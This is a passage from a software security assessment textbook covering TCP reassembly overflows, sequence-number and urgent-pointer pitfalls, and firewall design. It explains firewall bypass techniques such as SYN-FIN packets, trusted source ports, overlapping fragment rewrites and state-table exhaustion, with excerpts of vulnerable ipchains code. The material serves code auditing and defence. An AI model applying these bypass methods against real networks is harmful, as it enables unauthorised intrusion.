number plus the payload size is less than the last acknowledged sequence number. 

    /* if it's in bounds... */ 

    if(spd->seq_num >= s->base_seq && 

        spd->seq_num >= s->next_seq && 

       (spd->seq_num+spd->payload_size) <= s->last_ack) 

    { 

 

If all these checks pass, the data portion of the packet being inspected is added to the 

reassembly buffer for later analysis: 

    offset = spd->seq_num - s->base_seq; 

    s->next_seq = spd->seq_num + spd->payload_size; 

 

    memcpy(buf+offset, spd->payload, spd->payload_size); 

 

The vulnerability in this code results from the authors using unsigned ints to hold the 

sequence numbers. The attack CORE outlined in its advisory consisted of a sequence 

of packets that caused the code to run with the following values: 

s->base_seq = 0xffff0023 

s->next_seq = 0xffff0024 

s->last_ack = 0xffffffff 

spd->seq_num 0xffffffff 

spd->payload_size 0xf00 

 

If you trace the code with these values, you can see that the following check is 

compromised: 

    (spd->seq_num+spd->payload_size) <= s->last_ack) 

 

The seq_num is an unsigned int with the value 0xffffffff, and spd->payload_size is an 

unsigned int with the value 0xf00. Adding the two results in a value of 0xeff, which is 

considerably lower than last_ack's value of 0xffffffff. Therefore, memcpy() ends up 

copying data past the end of the reassembly buffer so that an attacker can remotely 

exploit the process. 

Sequence Number Boundary Condition 
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A nuance of sequence number signed comparisons is worth pointing out. Assume you 

use the following macro to compare two sequence numbers: 

    #define    SEQ_LT(a,b)    ((int)((a)-(b)) < 0) 

 

Use of a macro such as this has some interesting behavior when dealing with cases 

near to integer boundary conditions, such as the sequence numbers 0 and 0x7fffffff. 

In this case, SEQ_LT(0, 0x7fffffff) evaluates to (0-0x7fffffff), or 0x80000001. This 

is less than 0, so the result you find is that the sequence number 0 is less than 

0x7fffffff. 

Now compare the sequence numbers 0 and 0x80000000. SEQ_LT(0,0x80000000) 

evaluates to (0-0x80000000), or 0x80000000. This is less than 0, so the result you 

find is that sequence number 0 is less than 0x80000000. 

Now compare 0 and 0x80000001. SEQ_LT(0,0x80000001) evaluates to 

(0-0x80000001), or 7fffffff. This is greater than 0, so you find that the sequence 

number 0 is greater than the sequence number 0x80000001. 

Basically, if two sequence numbers are 2GB away from each other, they lie on the 

boundary that tells the arithmetic which sequence number comes first in the stream. 

Keep this boundary in mind when auditing code that handles sequence numbers, as it 

may create the opportunity for TCP streams to be incorrectly evaluated. 

Window Scale Option 

The window scale TCP option allows a peer to specify a shift value to apply to the 

window size. This option can allow for very large TCP windows. The maximum window 

size is 0xFFFF, and the maximum window scale value is 14, which results in a possible 

window size of 0x3FFFC000, or roughly 1GB. 

As mentioned, the sequence number comparison boundary is located at the 2GB point 

of inflection. The maximum window scale value of 14 is carefully chosen to prevent 

windows from growing large enough that it's possible to cross the boundary when 

doing normal processing of data within the window. The bottom line is that if you 

encounter an implementation that honors a window scale of 15 or higher, chances are 

quite good the reassembly code can be exploited in the TCP stack. 

URG Pointer Processing 

TCP provides a mechanism to send some out-of-band (OOB) data at any point during 

a data exchange. ("Out of band" means ancillary data that isn't part of the regular 

data stream.) The idea is that an application can use this mechanism to signal some 

kind of exception with accompanying data the peer can receive and handle 
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immediately without having to dig through the data stream and generally interrupt 

the traffic flow. RFC 793 (www.ietf.org/rfc/rfc0793.txt?number=) is quoted here: 

The objective of the TCP urgent mechanism is to allow the sending user to stimulate 

the receiving user to accept some urgent data and to permit the receiving TCP to 

indicate to the receiving user when all the currently known urgent data has been 

received by the user. 

The TCP header has a 16-bit urgent pointer, which is ignored unless the URG flag is 

set. When the flag is set, the urgent pointer is interpreted as a 16-bit offset from the 

sequence number in the TCP packet into the data stream where the urgent data stops. 

When auditing urgent pointer processing code, you should consider the potential 

mistakes covered in the following sections. 

Handling Pointers into Other Packets 

The urgent pointer points to an offset in the stream starting from the sequence 

number indicated in the packet header. It's perfectly legal for the urgent pointer to 

point to an offset that's not delivered in the packet where the URG flag is set. That is, 

the urgent pointer offset might hold the value 1,000, but the packet is only 500 bytes 

long. Code dealing with this situation can encounter two potential problem areas: 

 Neglecting to check that the pointer is within the bounds of the current packet 

This behavior can cause a lot of trouble because the code reads out-of-bounds 

memory and attempts to deliver it to the application using this TCP connection. 

Worse still, after extracting urgent data from the stream, if the code copies 

over urgent data with trailing stream data (effectively removing urgent data 

from the buffer), integer underflow conditions and memory corruption are a 

likely result. 

 Recognizing that the pointer is pointing beyond the end of the packet and 

trying to handle it This behavior is correct but is easy to get wrong. The 

problem with urgent pointers pointing to future packets is complicated by the 

fact that subsequent packets arriving could overlap where urgent data exists 

in the stream or subsequent packets arriving might also have the URG flag set, 

thus creating a series of urgent bytes within close proximity to each other. 

Handling 0-Offset Urgent Pointers 

The urgent pointer points to the first byte in the stream following the urgent data, so 

at least one byte must exist in the stream before the urgent pointer; otherwise, there 

would be no urgent data. Therefore, an urgent pointer of 0 is invalid. When reviewing 

code that deals with urgent pointers, take the time to check whether an urgent 

pointer of 0 is correctly flagged as an error. Many implementations fail to adequately 

validate this pointer, and as a result, might save a byte before the beginning of the 

http://www.ietf.org/rfc/rfc0793.txt?number=793
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urgent pointer or corrupt memory when trying to remove the urgent data from the 

stream. 

Simultaneous Open 

There is a lesser-known way of initiating a TCP connection. In a simultaneous open, 

both peers send a SYN packet at the same time with mirrored source and destination 

ports. Then they both send a SYN-ACK packet, and the connection is established. 

From the perspective of an endpoint, assume you send a SYN from port 12345 to port 

4242. Instead of receiving a SYN-ACK packet, you receive a SYN packet from port 

4242 to port 12345. Internally, you transfer from state SYN_SENT to SYN_RCVD and send 

a SYN-ACK packet. The peer sends a SYN-ACK packet to you acknowledging your SYN, 

at which point you can consider the connection to be established. Keep this initiation 

process in mind when auditing TCP code, as it's likely to be overlooked or omitted. 

8.1.5 Summary 

IP stacks are complex subsystems that are difficult to understand, let alone find 

vulnerabilities in. Reviewers need an in-depth understanding of the variety of 

protocols that make up the TCP/IP protocol suite and should be aware of corner cases 

in these protocols. This chapter has introduced the major players in packet-handling 

code for most regular Internet traffic. You have looked at typical problems you'll find 

in each protocol and seen examples from real-world IP-handling code. 

8.2 Chapter 15.  Firewalls 

Chapter 15. Firewalls 

"Firewalls are barriers between 'us' and 'them' for arbitrary values of 'them'." 

Steve Bellovin 

8.2.1 Introduction 

If you look hard enough, you can find firewalling technology in some surprising places. 

Firewalls have been on the market for a long time, and they have evolved to the point 

that you find them in myriad permutations. Most corporations and large organizations 

use expensive commercial firewalls that run on dedicated server software or network 

appliances. You can find firewall code in embedded devices, such as enterprise 

routers and inexpensive home networking devices. Several free firewalls are included 

in different operating systems, or you can buy them as part of desktop security suites. 

The most recent enterprise trend is that firewalls and network intrusion detection 
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system (NIDS) technologies are being merged into unified network intrusion 

prevention system (NIPS) appliances. 

Note 

You might be thinking that tons of complex and subtle protocol parsing and modeling 

code are precisely the kind of things you don't want in a critical core security device. 

Rest assured that this is merely because you're a victim of the obsolete 

perimeter-centric vulnerability paradigm. As Obi-Wan Kenobi said, "These are not the 

droids you are looking for." 

 

This chapter focuses on the security review of IP firewall code, whether you encounter 

it in a Windows desktop application or the code for a Cisco PIX. Luckily, there are only 

a handful of basic design and implementation security issues every TCP/IP-cognizant 

firewall must tackle, regardless of its form factor. You can't become a firewall expert 

in just one chapter, but you can explore the problem domain enough that you'll have 

a good handle on how to approach a review. 

You start by examining the basic design and technology behind firewalls, and then 

focus on specific design and implementation vulnerabilities and problem areas in core 

networking protocols. Note that this discussion draws heavily on the material on IP, 

TCP, and UDP in Chapter 14(? [????.]), "Network Protocols." 

8.2.2 Overview of Firewalls 

The basic purpose of a firewall is to serve as a chokepoint between two sets of 

networked computers. Network administrators can define a firewall security policy 

that's enforced on all traffic trying to pass through that chokepoint. This security 

policy is typically composed of a set of rules specifying which traffic is allowed and 

which traffic is forbidden. For example, a network administrator might have a policy 

such as the following: 

1. Host 1.2.3.4 can talk to 5.5.5.5. 

2. The user Jim on the host 1.2.3.10 can talk to 5.5.5.6. 

3. Any host can connect to host 5.5.5.4 over TCP port 80. 

4. Hosts on the 5.5.5.0/24 network can talk to any host. 

5. UDP packets from host 1.2.3.15 source port 53 can go to host 5.5.5.5 port 53. 

6. All other traffic is denied. 

The firewall is responsible for enforcing that policy on traffic traversing it. Firewalls 

can be built on different core technologies, just as they can be integrated into 

computer networks in different ways. For example, a firewall can be a chunk of code 

in an Ethernet card, a chunk of code in a kernel module or a device driver on a desktop 
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machine, a device that bridges Ethernet segments on a network, a device that routes 

between multiple IP subnets, or a multihomed device that connects networks with 

application proxies. 

Proxy Versus Packet Filters 

There are two basic technical approaches to firewall design, although the line 

between them has blurred over the years. A packet-filtering firewall operates on 

network data at a fairly low level, similar to how an IP router approaches network data. 

Each inbound IP packet is taken off the network and processed by the firewall, which 

uses a variety of algorithms to handle it and determine whether it's valid, invalid, or 

needs to be set aside for future processing. Packets permitted by the firewall can be 

routed to another interface or handed off to the IP stack of the firewall machine's OS 

(see Figure 15-1). 

Figure 15-1. Packet-filtering data flow 

[View full size image] 

 
 

A proxy firewall uses the full TCP/IP stack of the firewall machine as part of the 

processing chain. A TCP connection is actually made from a client to the firewall host, 

and a user land application program is responsible for accepting that connection, 

validating it against the security policy, and making an outgoing connection to the 

end host. This program then sits in a loop and relays data back and forth between the 

two connections, potentially validating or modifying attributes of that data as it goes 

(see Figure 15-2). 

Figure 15-2. Proxy firewall data flow 

[View full size image] 

 
 

images/15ssa01_alt.jpg
images/15ssa02_alt.jpg


The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 903 

Straw Men 

In the early days of firewalls, packet filtering and proxies were two 

fundamentally different approaches, and their respective practitioners often 

engaged in extended debate over which technique was best. Although this 

distinction is almost a false dichotomy these days, the trade-offs between 

the two approaches are summarized here. 

Proxy technology is generally considered more secure because it functions at 

the application layer as opposed to functioning more like a bridge or router. 

Proxy technology is singularly well positioned to do analysis, normalization, 

and intrusion detection on data as it traverses the firewall because it 

accesses data through a socket-style interface, a normalizing focal point 

that's easy to work with. Unfortunately, the application proxies available 

commercially never really capitalized on this architectural advantage by 

doing any extensive protocol-level analysis. 

Packet filters were considered less secure architecturally because their 

lower-level approach is theoretically prone to vulnerabilities stemming from 

a lack of contextual knowledge about network data. However, 

packet-filtering technology can scale extremely well and be installed in 

nonobtrusive ways because of its comparative transparency. Both 

advantages have been realized over time in the market. 

If you measure victory in terms of commercial success, packet-filtering 

firewalls won. However, the distinction between the two has grown more 

academic because both product lines evolved to meet each other in the 

middle. 

The market arguably chose the packet-filtering approach, so proxy-based 

firewalls haven't had the same resources put into their evolution. Proxy 

firewalls adopted several features of packet-based firewalls, however. 

Specifically, proxy firewalls, such as NAI's Gauntlet, can hand a connection 

over to a packet-filtering-style layer 3 packet-routing mechanism in the 

kernel. They can also use kernel extensions to make the proxy transparent 

so that it intercepts connections as they traverse the machine, silently brings 

them up through the network stack, and proxies them. 

In a complementary fashion, packet-filtering firewalls have adopted 

technologies typically associated with proxy-based firewalls. From the 

outset, many packet-filtering firewalls incorporated application proxies for a 

few key protocols. Many commercial enterprise firewalls now feature layer 7 

inspection, also known as "deep-inspection" or "application intelligence." 
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To do this kind of inspection of application layer data, they have to 

implement enough of a TCP stack in the firewall kernel to be able to have a 

reasonable picture of the TCP stream's contents. In effect, they are 

simulating the parts of the host machine kernel that proxy-based firewalls 

made implicit use of; however, they probably take quite a few shortcuts in 

doing so (for better or worse). 

 

 

Attack Surface 

Firewall software has been evolving for more than a decade, and modern firewall 

systems can be large and complex distributed networked applications. As firewalls 

often represent the front line of an enterprise perimeter, ascertaining the attack 

surface of the firewall solution is important. Any code that handles data coming from 

potentially untrusted sources is worth review, and on a firewall solution, this code can 

range from normal networked socket-based applications to high-speed kernel-level 

networking code. 

A firewall solution for a local host machine might not have a large exposed attack 

surfaceperhaps just the code that handles network packets and evaluates them 

against the rule base. An enterprise solution, however, likely exposes services to 

external users and the outside world, including virtual private network (VPN) 

protocols, authentication servers, networking and encapsulation protocol services, 

and internal management interfaces. 

Some notable vulnerabilities have been found in the straightforward application-layer 

services that are part of enterprise firewall solutions. For example, the proxy-based 

firewall Gauntlet suffered from buffer overflows in at least two exposed services. Mark 

Dowd (one of this book's authors), along with Neel Mehta of the ISS X-Force, 

discovered multiple preauthentication vulnerabilities in Firewall-1's VPN functionality, 

and Thomas Lopatic, a world-class researcher, found multiple weaknesses in 

Firewall-1's intramodule authentication algorithms 

(www.monkey.org/~dugsong/talks/blackhat.pdf). Chances are quite good that more 

vulnerabilities are waiting to be discovered in the exposed auxiliary services of 

commercial firewall solutions. 

Proxy Firewalls 

Proxy firewalls tend to be composed of fairly straightforward networking code. You 

likely already have most of the skills you need to audit proxies, as they are simpler 

than a corresponding server or client for a protocol. 

There's a bit of overlap, in that packet-filtering firewalls commonly include proxies for 

some application protocols, such as FTP. Likewise, many proxy-based firewalls 

http://www.monkey.org/~dugsong/talks/blackhat.pdf
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include lower-level components that have some of the desirable properties of 

packet-filtering firewalls, such as transparent bidirectional interception of traffic or 

fast path routing of approved connections. 

When auditing proxy firewalls you want to focus on the same kinds of issues you 

would encounter when auditing network servers. Specifically, numeric issues, buffer 

overflows, format strings, and similar implementation-level bugs are likely to show up 

in parsers for complex network protocols. In addition, you should focus on making 

sure the firewall makes a clear distinction between internal and external users or 

tracks authorized users. Any mechanism by which an external user can leverage a 

proxy to reach the internal network is obviously a major risk exposure. 

Gauntlet was perhaps the best known proxy-based firewall for enterprise customers. 

It had a few security vulnerabilities in the past, which were straightforward 

implementation errors in the exposed proxies. One notable issue was a buffer 

overflow reported in the smapd/CSMAP daemon, discovered by Jim Stickley of 

Garrison Technologies (archived at www.securityfocus.com/bid/3290). Another 

buffer overflow was disclosed in Gauntlet in the CyberPatrol add-on software around 

the same time (archived at www.securityfocus.com/bid/1234). 

Another example of a proxy firewall vulnerability is an old problem with the Wingate 

product. This software was a simple system for sharing a network connection among 

multiple computers on a home LAN. It used to have a TELNET proxy that was exposed 

to the outside world in the default configuration. Through this proxy, anonymous 

attackers could use Wingate machines to bounce their TCP connections and obscure 

their true source IP address. 

Packet-Filtering Firewalls 

Stateless Versus Stateful Design 

There are two basic designs for packet-filtering firewalls. The most straightforward 

design is a stateless packet filter, which doesn't keep track of the connections and 

network data it acts on. A stateless firewall looks at each packet in isolation and 

makes a policy decision based solely on data in that packet. Stateless firewalls can be 

configured to provide a reasonable level of security, and they are fairly simple to 

implement. Stateless firewalls are often found in routers and simple home networking 

devices as well as older software firewalls, such as ipchains. 

Stateful packet filters, on the other hand, keep track of connections and other 

information about the network data they process. A stateful firewall typically has one 

or more data structures known as state tables, in which it records information about 

the network connections it's monitoring. These firewalls can generally provide a 

tighter level of security on a network, although they are more complex in design and 

implementation. You find stateful packet filters in many open-source firewall 

http://www.securityfocus.com/bid/3290
http://www.securityfocus.com/bid/1234
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solutions, and they form the basic technology behind many enterprise firewall 

solutions. 

8.2.3 Stateless Firewalls 

Stateless firewalls, although straightforward in design, have some fundamental 

problems that surface when you use them on real-world networks. 

TCP 

Stateless firewalls don't maintain any state information about TCP connections, so 

they must use a simple set of rules to filter TCP packets. In general, stateless firewalls 

look for packets containing connection initiation requestspackets with the SYN flag 

set. In many cases, they apply network policy rules to those SYN packets and more or 

less let most other TCP packets go by without blocking them. This method actually 

works out well enough in many cases, but it can have some major security 

implications. 

Consider a sample configuration of a stateless firewall using the older Linux ipchains 

firewall. Say you want to allow yourself to connect out to anywhere but not allow 

anyone to connect in to any of your services. The following configuration should do 

the trick: 

ipchains -A input -p TCP ! -y -j ACCEPT 

ipchains -P input DENY 

 

The first line tells the firewall to allow all inbound TCP packets that don't have the SYN 

flag set (indicated by ! -y). The second line tells the firewall to simply drop everything 

else that's inbound. The code that determines whether the packet passes the -y test 

is quite simple, and it's based on the contents of the tcpsyn variable. The following 

code sets the value of tcpsyn based on the packet's TCP header: 

     /* Connection initilisation can only 

      * be made when the syn bit is set and 

      * neither of the ack or reset is 

      * set. */ 

     if(tcp->syn && !(tcp->ack || tcp->rst)) 

         tcpsyn= 

 

If the tcpsyn variable is set to 1, the packet passes the -y test and the firewall treats 

the packet as a connection initiation packet. Therefore, any packet with the SYN flag 

set and the ACK and RST flags cleared is considered a connection packet. 

Scanning 
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There are several techniques for gathering information from a host by sending TCP 

packets of varying degrees of sanity. One technique of note is FIN scanning, which is 

a method for port scanning documented by Uriel Maimon in Phrack 49, Article 15. For 

certain IP stacks, if you send a FIN packet to a closed port, the IP stack sends back an 

RST packet. If you send a FIN packet to an open port, the IP stack doesn't send 

anything back. Therefore, you can use FIN packets to scan a machine's ports to 

determine which ones are open and which are closed. 

Because FIN and RST packets are more or less required for TCP's normal operation, a 

stateless firewall often has to let them through. If the firewall doesn't perform any 

outbound filtering, it can be a little more restrictive, but generally it passes these 

packets through to allow TCP responses. Therefore, FIN port-scanning commonly 

works through a stateless packet filter. Attackers can ascertain even more 

information about hosts behind a network, such as the OS type and version, by 

sending specially crafted packets. 

Ambiguity with TCP SYNs 

Stateless firewalls need to enforce rules on TCP connection initiation. This enforcing is 

normally done via a handshake involving a TCP packet with the SYN flag set, which is 

fairly simple to intercept and process. However, certain IP stacks accept different 

permutations of the SYN flag when setting up TCP connections, and these 

permutations might lead to exposures in stateless packet filters. 

Many TCP/IP stacks initiate a connection if a packet with SYN and FIN set is sent 

instead of a straightforward SYN packet. If a stateless packet filter doesn't interpret 

this packet as a connection initiation, it could give attackers an easy way to bypass 

the firewall. They can simply modify their traffic to send SYN-FIN instead of SYN, and 

the stateless firewall might pass it along unfiltered. 

Paul Starzetz posted an excellent write-up of this problem to the Bugtraq mailing list 

(archived at http://archives.neohapsis.com/archives/bugtraq/2002-10/0266.html), 

which is summarized briefly in the following list: 

 Linux Accepts any combination of TCP flags when SYN is set and ACK is clear. 

 Solaris SYN-FIN is accepted as equivalent to SYN. 

 FreeBSD Accepts combinations of SYN being set and RST and ACK being 

cleared. 

 Windows Accepts combinations of SYN being set and RST and ACK being 

cleared. 

This vulnerability is rumored to have affected multiple firewalls over the years, 

including Cisco IOS and even early versions of Firewall-1. With this in mind, take 

another look at the ipchains code for recognizing connection initiation packets: 

http://archives.neohapsis.com/archives/bugtraq/2002-10/0266.html
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     /* Connection initilisation can only 

      * be made when the syn bit is set and 

      * neither of the ack or reset is 

      * set. */ 

     if(tcp->syn && !(tcp->ack || tcp->rst)) 

         tcpsyn= 

 

You can see that a packet with SYN-FIN set would make it through the firewall. You 

can also see that, according to Startez's analysis, a SYN-FIN packet counts as a 

connection initiation packet for Linux hosts, which means someone could get through 

the ipchains firewall! 

UDP 

User Datagram Protocol (UDP) connections are a problem for stateless firewalls. In 

TCP, a particular packet represents a connection initiation: the SYN packet. In UDP, 

however, there's no such packet. This issue usually shows up when administrators try 

to punch the DNS protocol through the firewall. 

Say you want to make a rule allowing a client computer on an internal network to talk 

to a DNS server outside the firewall. You would tell the firewall to allow UDP packets 

from that host, with source ports 1024 to 65535 destined to destination host 1.2.3.4 

on destination port 53. This rule works fine, but what happens when the DNS server 

responds? To allow the response, you need a rule to allow UDP packets from source 

port 53 to destination ports 1024 to 65535. 

The problem with allowing those UDP packets is that attackers could talk to any UDP 

service on a port between 1024 and 65535, as long as they use a source port of 53. 

There are some interesting UDP daemons on those high ports for most operating 

systems, with RPC functionality usually being the easiest target. This risk can be 

mitigated by host configuration and network design, but it's a fundamental limitation 

in stateless packet filtering technology. Figure 15-3 summarizes a sample attack of 

this nature. 

Figure 15-3. UDP source port 53 attack for stateless firewalls 

[View full size image] 
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Understanding FTP 

File Transfer Protocol (FTP) is a ubiquitous Internet protocol for transferring 

files between machines. It's an old protocol with some strange 

characteristics that make it particularly troublesome to firewalls. These 

idiosyncrasies have led to several security exposures, but before you dig into 

them, take a brief look at how FTP works. 

FTP is a fairly straightforward line-based protocol that works over TCP. An 

FTP client makes a connection to port 21 of the FTP server, and this 

connection is known as the control connection. The user issues commands 

over this TCP connection, which include tasks such as logging in, listing files, 

and downloading and uploading files. Things get a little tricky when data is 

transferred over FTP, however. The actual files and directory listings aren't 

sent over the control connection. Instead, they are sent over a separate, new 

TCP connection known as the data connection. There are two main 

mechanisms for establishing this data connection: active FTP and passive 

FTP. 

In active FTP, the client tells the server where to connect to transfer the 

data by using the PORT command. To see how it works, walk through a 

simple FTP transaction. Assume the client's IP address is 1.2.3.4. The code 

has been formatted for readability, with client traffic bolded to differentiate it 

from the server's data. Also, assume that each line ends in a carriage 

return/line feed (CLRF). 

220 Welcome to the FTP server! 

USER ftp 

331 Guest login ok, send ident as password. 

PASS bob@neohapsis.com 

230 Guest login ok, access restrictions apply. 

 

Up to this point, all communication has been over the control connection. 

Now the client wants to retrieve a file via active FTP. The first step is to 

specify where the server should connect: 

PORT 1,2,3,4,128,10 

200 PORT command successful. Consider using PASV. 

 

This response tells the server that for the next data connection, it should 

connect to the client IP 1.2.3.4 on port 32778 (32778 is 128 * 256 + 10). 
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Now the client initiates the transfer: 

RETR file.txt 

150 Opening BINARY mode data connection for file.txt (42 bytes). 

 

The server then makes a TCP connection to the address and port it was given 

in the PORT command. This TCP connection has a special source port of 20. 

It sends the file's contents over this connection and then closes it. After the 

file transfer is completed, the server sends a transfer complete message 

over the control channel: 

226 Transfer complete. 

 

You can see that active FTP requires the server to be able to connect back to 

the client, which can be a problem in networks that use firewalls or network 

address translation (NAT). The passive model is a little easier to firewall, 

which is why it's usually enabled. 

Now take a look at how the user would transfer a file using passive FTP. 

Instead of sending a PORT command, the client issues a PASV command. 

The server then tells the client where to connect for the data connection: 

PASV 

227 Entering Passive Mode (50,100,200,80,220,120) 

 

The server is telling the client where to connect to perform the next data 

transfer. The server's IP address is 50.100.200.80, and the port that accepts 

the data connection is 56440 (220 * 256 + 120). The client then makes the 

TCP connection before sending this command on the control channel: 

RETR file.txt 

150 Opening ASCII mode data connection for directory listing. 

 

The server sends the file over the data connection, and then sends the 

following message over the control channel when it's finished: 

226 Transfer complete. 

 

And there you have the nuts and bolts of FTP! 
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FTP 

As you learned in the sidebar, "Understanding FTP," FTP presents a problem for most 

firewalls. This section focuses on an aspect of FTP that leads to a problem in stateless 

firewalls. Say you want to let your users use FTP to connect to machines on the 

Internet. You can do this easily with a stateless firewall by allowing outbound port 21 

TCP connections. However, if users are using active FTP, they can initiate data 

transfers by telling the FTP server to connect to a port on their computer (via the PORT 

command). Then you see a TCP connection coming from source port 20 to your client 

host on a high port. A stateless firewall generally isn't going to allow arbitrary 

connections from the outside to the inside, which breaks active FTP (not passive FTP). 

It's possible to work around this problem by allowing connections with source port 20. 

However, allowing these connections causes a major security flaw because TCP 

connections with a source port of 20 are allowed through the firewall. Figure 15-4 

demonstrates how this issue can be exploited to attack an XServer running on 

destination port 6000. 

Figure 15-4. TCP source port 20 attack for stateless firewalls 

[View full size image] 

 

 

 

Fragmentation 

A stateless firewall can't keep track of fragments, so it has to deny them categorically 

or apply a simple set of rules to process them as they come in. Typically, these 

firewalls approach this by allowing any fragment that doesn't have upper-layer 

header information to go through. IP fragmentation was covered in Chapter 14(? 

[????.]), "Network Protocols," but you should look out for the following points: 

 Fragments with low IP offsets (1 or 2) should be dropped, as they contain 

pieces of information, such as TCP flags, that the firewall needs to examine. 

 Fragments with 0-offset should contain enough information to have a full 

protocol header; otherwise, they should be dropped. Again, the firewall needs 

to see the full header at once to make a decision, and a short packet can't be 

evaluated safely. 

 Fragments with high offsets can generally be permitted to pass. 

images/15ssa04_alt.jpg
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A few classic attacks against packet-filtering firewalls, described in the following 

sections, are based on overlapped fragments. New implementations of packet filters 

are often vulnerable to these classic attacks, so inspect them carefully. 

Are Fragmented Packets Handled? 

The most straightforward attack is to simply fragment a packet so that the 

upper-layer (TCP or UDP) protocol header is split across multiple packets. Granted, 

only a firewall from the 1980s would be fooled by this method, but it sets the stage for 

more topical attacks. Figure 15-5 shows what the malicious packets would look like. 

A vulnerable firewall would allow both fragments through but be unable to check 

them because both are incomplete. 

Figure 15-5. Straightforward fragment attack 

[View full size image] 

 
 

 

How Are Offset 1 Fragments Handled? 

This classic fragmentation attack involves rewriting TCP flags against a stateless 

packet filter. Figure 15-6 shows how this attack would unfold. It works by first 

sending a fragment that the firewall accepts, such as a lone FIN or RST TCP packet, to 

an otherwise filtered port. The second fragment has an offset of 1 and is passed by 

the firewall. Depending on the host's reassembly algorithm, the target machine 

actually honors the new data from the second fragment and changes the flags in the 

TCP header from FIN to SYN. In this way, the attacker has initiated a connection to an 

otherwise filtered port. 

Figure 15-6. TCP flags rewrite fragment attack 

[View full size image] 
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How Are Multiple 0-Offset Fragments Handled? 

Thomas Lopatic and John McDonald (one of this book's authors) came up with a 

similar fragmentation attack that worked against ipchains and Cisco IOS 11 routers, 

to a limited extent (archived at 

http://archives.neohapsis.com/archives/bugtraq/1999-q3/0236.html). This 

technique involves sending multiple 0-offset fragments. Essentially, an IP fragment 

with a 0-offset is sent to a firewall; the fragment contains a TCP or UDP header that 

matches an allow rule in the firewall's rule set. This fragment is followed by another 

0-offset fragment that's much smaller, and it rewrites a few bytes of the TCP or UDP 

port fields. When these fragments are reassembled on the other side, a port that 

shouldn't be accessible can be reached. Figure 15-7 shows how this attack works. 

This advisory eventually spawned the creation of RFC 3128, describing the attack. 

Figure 15-7. TCP ports rewrite fragment attack 

[View full size image] 

 

 

The following is an excerpt of code from an old version of the ipchains stateless 

firewall. Review it with the points about fragments in mind: 

     offset = ntohs(ip->frag_off) & IP_OFFSET; 

 

     /* 

      *    Don't allow a fragment of TCP 8 bytes in. Nobody 

      *    normal causes this. Its a cracker trying to break 

      *    in by doing a flag overwrite to pass the direction 

      *    checks. 

      */ 

 

 

     if (offset == 1 && ip->protocol == IPPROTO_TCP)  { 

         if (!testing && net_ratelimit()) { 

http://archives.neohapsis.com/archives/bugtraq/1999-q3/0236.html
images/15ssa07_alt.jpg
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             printk("Suspect TCP fragment.\n"); 

             dump_packet(ip,rif,NULL,NULL,0,0); 

         } 

         return FW_BLOCK; 

     } 

 

First, you can see that the firewall blocks IP fragments with an offset of 1 for TCP data. 

This is a good thing, and it prevents the TCP flags rewriting attack. 

Now look at the following block of code. You can see that if the firewall is looking at 

the first fragment (an IP offset of 0), it tries to determine how much data it needs to 

see to make a decision about the packet. For TCP, it wants to see at least 16 bytes of 

TCP data. 

 

     /* If we can't investigate ports, treat as fragment. 

      * It's a trucated whole packet, or a truncated first 

      * fragment, or a TCP first fragment of length 8-15, 

      * in which case the above rule stops reassembly. 

      */ 

     if (offset == 0) { 

         unsigned int size_req; 

         switch (ip->protocol) { 

         case IPPROTO_TCP: 

             /* Don't care about things past flags word */ 

 

             size_req = 16; 

             break; 

 

 

         case IPPROTO_UDP: 

         case IPPROTO_ICMP: 

             size_req = 8; 

             break; 

 

 

         default: 

             size_req = 0; 

         } 

         offset = (ntohs(ip->tot_len) < (ip->ihl<<2)+size_req); 

     } 
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If offset is 0, indicating it's a header fragment, the firewall proceeds to do a minimum 

size check on the packet. If there's enough data for a complete protocol header, 

offset is set to 0. If there isn't enough data, offset is set to 1. This means if you send 

a fragment with a 0-offset and a super-short length, it's treated as a non-first 

fragment and passed through the firewall! 

8.2.4 Simple Stateful Firewalls 

Stateful firewalls maintain data structures in memory that are used to track 

connections. This data structure is usually known as the state table. Multiple state 

tables could be used to track different types of connections, or all state data might be 

stored in a single table. 

When a stateful firewall receives a packet, it first checks the state table to see 

whether that packet belongs to an existing connection. If it does, the packet is 

accepted and passed along to its destination. Otherwise, the packet is compared 

against the rule base. If the rule base specifies that the packet is allowed, the packet 

might end up creating a new entry in the state table. 

TCP 

Stateful firewalls can tackle TCP connections with more precision than their stateless 

brethren. For example, if a stateful firewall has a basic rule similar to "Allow TCP 

connections to port 80 on the Web server," it allows only one type of TCP packet 

through to the Web server: a SYN packet. After the firewall receives this SYN packet, 

an entry is made in the state table. Then the appropriate SYN-ACK packet is allowed 

in the other direction, and subsequent valid ACK, PUSH, FIN, and RST packets are 

allowed through. Everything else is dropped. This method solves the issue of 

unnecessary packets getting through the firewall, which was the property of stateless 

firewalls that allowed FIN scanning to work. Stateful firewalls still need to be careful 

about odd connection initiation packets, however, such as SYN-FIN and SYN-RST. 

Some firewalls create state entries without seeing a connection initiation; if they see 

a data packet matching the rule set, they treat the packet as if it belongs to a 

connection that was started before the firewall was last booted, and they permit it. 

It's important to make sure SYN packets can't be matched with an existing connection 

in this fashion, however. This behavior can also expose the firewall to spoofing 

attacks with TCP, as an attacker doesn't have to get past a three-way handshake to 

get data parsed by the firewall. 

Attackers can attempt to disable firewalls by attacking the state table via brute force. 

If they can cause state table entries to be added from outside the network, they can 

often fill up the state table and cause failures to occur. Lance Spitzer discovered a way 

to do this to Checkpoint FW-1 and published an interesting analysis of the problem, 

available at www.spitzer.net/fwtable.html. 

http://www.spitzer.net/fwtable.html
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UDP 

UDP connections are a little easier to handle, as entries can be placed in the state 

table to specifically allow responses. One common shortcut firewalls take, however, is 

to allow responses from any UDP source port. So if a firewall sees a UDP packet go 

from host 1.2.3.4 on source port 53 to host 2.3.4.5 on destination port 53, and the 

rule base allows that packet, an entry is added in the state table. This entry, however, 

might allow a UDP packet with any source port from 2.3.4.5 to 1.2.3.4 and 

destination port 53. Problems with allowing this UDP packet are discussed in 

"Spoofing Attacks(? [????.])" later in this chapter. 

Directionality 

It's important to review a stateful firewall's notion of directionality. A firewall that 

doesn't correctly check the "direction" of a TCP connection can lead to security issues. 

For example, say an attacker makes a connection from source port 21 to a Web server 

on port 80. If the firewall can be tricked into interpreting the Web server's response 

as data in an FTP control connection, it's probable that bad things can be done to that 

firewall. One interesting nuance of TCP is the simultaneous connection, in which two 

SYN packets are sent in an interleaved fashion. 

Fragmentation 

Stateful firewalls can track fragmentation more tightly than stateless firewalls can. 

One approach some firewalls take is to set up a fragment state entry for a fragment 

after they see a protocol header for that datagram. Subsequent fragments match the 

state table and are permitted to pass through the firewall. Another approach is virtual 

